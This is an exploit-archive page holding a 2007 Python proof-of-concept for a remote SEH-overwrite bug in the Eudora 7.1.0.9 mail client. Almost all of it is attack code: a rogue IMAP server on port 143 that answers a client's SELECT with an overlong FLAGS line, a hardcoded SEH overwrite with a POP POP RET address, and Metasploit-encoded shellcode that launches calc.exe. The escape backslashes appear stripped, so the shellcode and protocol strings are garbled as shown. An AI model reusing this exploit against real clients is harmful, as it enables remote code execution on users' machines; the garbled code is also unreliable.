[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Eudora 7.1.0.9 (IMAP FLAGS) Remote SEH Overwrite Exploit 0day
# Published : 2007-05-30
# Author : h07
# Previous Title : EDraw Office Viewer Component Unsafe Method Exploit
# Next Title : IE 6 / Ademco, co., ltd. ATNBaseLoader100 Module Remote BoF Exploit
#!/usr/bin/python
# Eudora 7.1 (IMAP FLAGS) 0day Remote SEH Overwrite PoC Exploit
# Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
# Tested on Eudora 7.1.0.9 / 2k SP4 Polish
# Shellcode type: Windows Execute Command (calc.exe)
# Details:..
# Eudora --> SELECT IMBOX ---------> IMAP server
# Eudora <-- FLAGS (..AAAA...) <---- IMAP server
# FLAGS (Answered Flagged Draft Deleted Seen hasatt + "A" * 1070
# 0x41414141 Pointer to next SEH record
# 0x41414141 SE handler
##
from thread import start_new_thread
from struct import pack
from string import find
from time import sleep
from socket import *
session_elements = (
'* OK IMAP4 readyrn',
'* CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ MAILBOX-REFERRALS NAMESPACE UIDP'
'LUS ID NO_ATOMIC_RENAME UNSELECT CHILDREN MULTIAPPEND BINARY SORT THREAD=ORDERED'
'SUBJECT THREAD=REFERENCES ANNOTATEMORE IDLE SASL-IRrn'
'00000 OK completedrn',
'00001 OK User logged inrn',
'* NAMESPACE (("INBOX." ".")) (("user." ".")) (("" "."))rn'
'00002 OK Completedrn',
'* LIST (Noselect) "." ""rn'
'00003 OK Completed (0.000 secs 0 calls)rn',
'* LIST (HasChildren) "." "INBOX"rn'
'00004 OK Completed (0.000 secs 3 calls)rn',
'* LIST (HasChildren) "." "INBOX"rn'
'00005 OK Completed (0.000 secs 3 calls)rn',
'* FLAGS (Answered Flagged Draft Deleted Seen hasatt%s)rn'
'* OK [PERMANENTFLAGS (Answered Flagged Draft Deleted Seen hasatt *)]rn'
'* 1 EXISTSrn'
'* 0 RECENTrn'
'* OK [UIDVALIDITY 1180222864]rn'
'* OK [UIDNEXT 2]rn'
'* OK [NOMODSEQ] Sorry, modsequences have not been enabled on this mailboxrn'
'* OK [URLMECH INTERNAL]rn'
'00003 OK [READ-WRITE] Completedrn')
shellcode = (
# Restricted Characters: 0x0a, 0x0d, 0x20, 0x29, (0x60 .. 0x7B)
# EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x44"
"x42x30x42x50x42x50x4bx58x45x44x4ex33x4bx48x4ex57"
"x45x50x4ax57x41x30x4fx4ex4bx38x4fx34x4ax31x4bx58"
"x4fx35x42x32x41x50x4bx4ex49x54x4bx38x46x43x4bx58"
"x41x50x50x4ex41x53x42x4cx49x49x4ex4ax46x58x42x4c"
"x46x57x47x50x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e"
"x46x4fx4bx53x46x35x46x42x46x30x45x57x45x4ex4bx38"
"x4fx45x46x52x41x50x4bx4ex48x56x4bx48x4ex50x4bx54"
"x4bx48x4fx45x4ex51x41x30x4bx4ex4bx58x4ex51x4bx48"
"x41x50x4bx4ex49x58x4ex55x46x52x46x50x43x4cx41x53"
"x42x4cx46x56x4bx38x42x34x42x33x45x38x42x4cx4ax47"
"x4ex50x4bx38x42x44x4ex50x4bx38x42x47x4ex41x4dx4a"
"x4bx48x4ax56x4ax30x4bx4ex49x30x4bx48x42x48x42x4b"
"x42x50x42x30x42x50x4bx38x4ax36x4ex43x4fx35x41x43"
"x48x4fx42x56x48x55x49x58x4ax4fx43x38x42x4cx4bx57"
"x42x35x4ax56x42x4fx4cx48x46x50x4fx45x4ax56x4ax49"
"x50x4fx4cx38x50x30x47x55x4fx4fx47x4ex43x46x41x36"
"x4ex36x43x36x42x50x5a")
NEXT_SEH_RECORD = 0x909006EB # JMP SHORT + 0x06
SE_HANDLER = 0x7CEA41D3 # POP POP RET (SHELL32.DLL / 2k SP4 Polish)
buf = "A" * 1062
buf += pack("<L", NEXT_SEH_RECORD)
buf += pack("<L", SE_HANDLER)
buf += "x90" * 32
buf += shellcode
def AcceptConnect(cl, addr):
print "Connection accepted from: %s" % (addr[0])
try:
for i in range(0, len(session_elements) - 1):
cl.send(session_elements[i])
response = cl.recv(256)
retval = find(response, 'SELECT INBOX')
if(retval != -1):
cl.send(session_elements[7] % (buf))
sleep(1)
print "Done"
break
cl.close()
except Exception, err:
print err
bind_addr = '0.0.0.0'
bind_port = 143
s = socket(AF_INET, SOCK_STREAM)
s.bind((bind_addr, bind_port))
s.listen(1)
print "Listening on %s:%d..." % (bind_addr, bind_port)
while(1):
cl, addr = s.accept()
start_new_thread(AcceptConnect, (cl, addr,))
# EoF
# www.Syue.com [2007-05-30]